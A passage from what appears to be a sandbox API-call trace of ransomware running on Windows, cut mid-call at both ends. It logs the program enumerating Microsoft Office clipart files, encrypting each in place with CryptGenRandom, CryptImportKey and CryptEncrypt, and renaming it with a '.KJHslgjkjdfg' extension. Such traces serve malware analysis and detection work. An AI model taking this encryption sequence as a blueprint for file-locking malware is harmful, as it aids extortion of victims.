lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x1270, lpOverlapped=0x0) returned 1 [0238.968] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x1270, dwBufLen=0x1270 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x1270) returned 1 [0238.968] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0238.968] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x1270, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x1270, lpOverlapped=0x0) returned 1 [0238.968] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0238.969] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x1344, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0238.969] SetEndOfFile (hFile=0x130) returned 1 [0238.973] GetProcessHeap () returned 0x2ef0000 [0238.973] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0238.973] GetProcessHeap () returned 0x2ef0000 [0238.973] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0238.973] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00916_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00916_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00916_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00916_.wmf.kjhslgjkjdfg")) returned 1 [0238.975] CloseHandle (hObject=0x130) returned 1 [0238.975] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5aa3ec70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x25ac, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="SO00917_.WMF", cAlternateFileName="")) returned 1 [0238.975] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00917_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00917_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0238.983] GetProcessHeap () returned 0x2ef0000 [0238.983] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0238.983] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0238.983] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0238.983] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0238.985] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0238.985] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0238.985] GetProcessHeap () returned 0x2ef0000 [0238.993] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0238.993] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0238.993] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0238.993] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0238.993] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0238.993] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0238.994] WriteFile (in: hFile=0x130, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0238.994] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0238.994] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0238.994] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0238.995] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0238.995] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0238.995] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x25ac, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x25ac, lpOverlapped=0x0) returned 1 [0238.999] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x25b0, dwBufLen=0x25b0 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x25b0) returned 1 [0239.001] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0239.001] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x25b0, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x25b0, lpOverlapped=0x0) returned 1 [0239.001] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0239.001] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x2684, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0239.001] SetEndOfFile (hFile=0x130) returned 1 [0239.007] GetProcessHeap () returned 0x2ef0000 [0239.007] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0239.008] GetProcessHeap () returned 0x2ef0000 [0239.008] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0239.008] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00917_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00917_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00917_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00917_.wmf.kjhslgjkjdfg")) returned 1 [0239.010] CloseHandle (hObject=0x130) returned 1 [0239.010] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5aa64dd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1f5c, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="SO00918_.WMF", cAlternateFileName="")) returned 1 [0239.010] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00918_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00918_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0239.024] GetProcessHeap () returned 0x2ef0000 [0239.024] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0239.024] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0239.024] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0239.024] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0239.031] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0239.031] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0239.031] GetProcessHeap () returned 0x2ef0000 [0239.031] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0239.031] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0239.031] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0239.031] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0239.031] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0239.031] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0239.031] WriteFile (in: hFile=0x130, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0239.032] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0239.032] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0239.032] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0239.032] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0239.032] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0239.032] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x1f5c, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x1f5c, lpOverlapped=0x0) returned 1 [0239.033] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x1f60, dwBufLen=0x1f60 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x1f60) returned 1 [0239.034] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0239.034] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x1f60, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x1f60, lpOverlapped=0x0) returned 1 [0239.035] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0239.035] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x2034, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0239.035] SetEndOfFile (hFile=0x130) returned 1 [0239.037] GetProcessHeap () returned 0x2ef0000 [0239.037] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0239.037] GetProcessHeap () returned 0x2ef0000 [0239.038] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0239.038] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00918_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00918_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00918_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00918_.wmf.kjhslgjkjdfg")) returned 1 [0239.040] CloseHandle (hObject=0x130) returned 1 [0239.040] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6d358650, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x2944, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="SO00935_.WMF", cAlternateFileName="")) returned 1 [0239.040] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00935_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00935_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0239.042] GetProcessHeap () returned 0x2ef0000 [0239.042] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0239.042] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0239.042] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0239.042] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0xc, lpOverlapped=0x0) returned 1 [0239.053] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0239.053] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0239.053] GetProcessHeap () returned 0x2ef0000 [0239.053] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0239.053] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0239.053] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0239.053] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0239.053] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0239.053] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0239.053] WriteFile (in: hFile=0x130, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0239.053] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0239.054] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0239.054] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0239.054] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0239.054] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0239.054] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x2944, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x2944, lpOverlapped=0x0) returned 1 [0239.058] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x2950, dwBufLen=0x2950 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x2950) returned 1 [0239.058] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0239.058] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x2950, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x2950, lpOverlapped=0x0) returned 1 [0239.058] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0239.058] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x2a24, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0239.058] SetEndOfFile (hFile=0x130) returned 1 [0239.061] GetProcessHeap () returned 0x2ef0000 [0239.061] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0239.061] GetProcessHeap () returned 0x2ef0000 [0239.061] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0239.061] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00935_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00935_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00935_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00935_.wmf.kjhslgjkjdfg")) returned 1 [0239.063] CloseHandle (hObject=0x130) returned 1 [0239.063] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5aa64dd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1960, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="SO00938_.WMF", cAlternateFileName="")) returned 1 [0239.063] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00938_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00938_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0239.065] GetProcessHeap () returned 0x2ef0000 [0239.065] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0239.065] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0239.065] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0239.065] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0239.065] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0239.065] GetProcessHeap () returned 0x2ef0000 [0239.065] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0239.065] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0239.065] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0239.065] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0239.067] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0239.068] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0239.068] WriteFile (in: hFile=0x130, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0239.068] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0239.068] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0239.068] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0239.068] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0239.068] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0239.068] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x1960, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x1960, lpOverlapped=0x0) returned 1 [0239.069] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x1960, dwBufLen=0x1960 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x1960) returned 1 [0239.069] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0239.069] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x1960, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x1960, lpOverlapped=0x0) returned 1 [0239.069] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0239.069] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x1a34, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0239.070] SetEndOfFile (hFile=0x130) returned 1 [0239.073] GetProcessHeap () returned 0x2ef0000 [0239.073] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0239.073] GetProcessHeap () returned 0x2ef0000 [0239.073] HeapFree (in: 